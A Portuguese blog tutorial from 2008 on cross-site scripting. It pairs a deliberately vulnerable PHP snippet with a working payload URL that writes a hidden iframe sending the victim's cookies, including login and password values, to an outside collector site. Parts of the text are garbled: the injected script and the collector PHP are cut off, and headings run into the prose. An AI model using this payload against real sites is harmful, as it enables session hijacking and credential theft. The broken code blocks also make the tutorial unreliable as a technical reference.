| XSS - Um exemplo de ataque |
|
|
|
| Escrito por Patrício dos Santos | |
| Sexta, 22 Agosto 2008 14:42 | |
|
Este artigo tem como objectivo, demostrar aplicações de um ataque de XSS, uma técnica muito presente no nosso dia-a-dia. O XSS ( CROSS SITE SCRIPTING ) é um tipo de ataque que é altamente popular nos dias de hoje e literalmente, pega a maioria dos usuários por estar escondido em páginas que eles acham que não podem lhes causar problemas. O conceito é bem básico. Em geral, o administrador de um site qualquer, coloca um comentário ou post em um fórum que não contém nenhum tipo de validação ou filtro (muito incomum isto hoje em dia, mas o que mais tem por aí, é web developer acostumado com desenvolvimento sem segurança. Vamos direito ao assunto. Um exemplo de código PHP vulnerável: <?php setcookie('PHPSSESID', 'meu_sid'); echo $_GET['var'];
O nosso objectivoEis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima: <script> Breve explicação meio longaNosso objectivo é atravessar o JavaScript citado acima mas, em outras
palavras, explicando o JavaScript, nosso objectivo é simplesmente
capturar os dados de cookie do www.alvo.com e enviar para o
www.colector.com.
Utilizando cookies em JavaScriptA instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída: PHPSSESID=meu_sid; login=meu_login; senha=minha_senha Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos: PHPSSESID=meu_sid;login=meu_login;senha=minha_senha O colector de dados
<?php TestandoAcesse a URL: http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe% 20width=1%20height=1%20src=http://www.colector.com/rc.php?xss='%2B document.cookie.replace(/%20/g,'')%2B'></iframe>')</script> Nota para tradução da URL:
Possíveis utilizações
Gostaria de salientar que as informações aqui contidas são de
carácter educativo. Não me responsabilizo por sua utilização, ou
eventuais dados ao seu sistema ou de terceiros.
Considerações finais
Espero que tenham gostado Até a Próxima |
















